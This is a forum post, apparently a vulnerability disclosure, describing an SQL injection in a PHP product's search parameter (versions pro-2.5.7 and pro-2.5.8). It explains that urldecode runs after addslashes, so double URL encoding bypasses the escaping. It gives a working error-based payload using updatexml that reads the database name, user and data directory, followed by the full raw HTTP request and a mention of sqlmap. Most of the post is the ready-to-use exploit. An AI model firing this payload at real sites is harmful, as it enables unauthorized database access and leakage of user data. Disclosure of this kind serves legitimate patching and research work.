UID1
阅读权限255
精华1
在线时间236 小时
好友1
|
Vulnerability Location: /index.php?keyword=123
Affected Range: pro-2.5.7,pro-2.5.8
Vulnerability Cause: search_controller.php does not use addslashes after urldecode, allowing the preceeding addslashes to be bypassed by URL double encoding.
Vulnerability Impact: Potential leakage of sensitive information from the user database.
Reproduction Steps:
- Deploy this system locally and open a browser to access this URL: http://localhost:9091/index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520
- The result of accessing the URL is shown in the following image, successfully utilizing statements like database(), user(),和 datadir to read the database name, username, 和 data path respectively.
Alternatively, you can use an MITM tool like Burp Suite to send the following URL request,
- GET /index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520 HTTP/1.1
- Host: localhost:9091
- sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
- sec-ch-ua-mobile: ?0
- sec-ch-ua-platform: "macOS"
- Accept-Language: zh-CN,zh;q=0.9
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
- Sec-Purpose: prefetch;prerender
- Purpose: prefetch
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Sec-Fetch-Site: none
- Sec-Fetch-Mode: navigate
- Sec-Fetch-User: ?1
- Sec-Fetch-Dest: document
- Accept-Encoding: gzip, deflate, br
- Connection: keep-alive
复制代码 which will yield the same result:
sqlmap
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|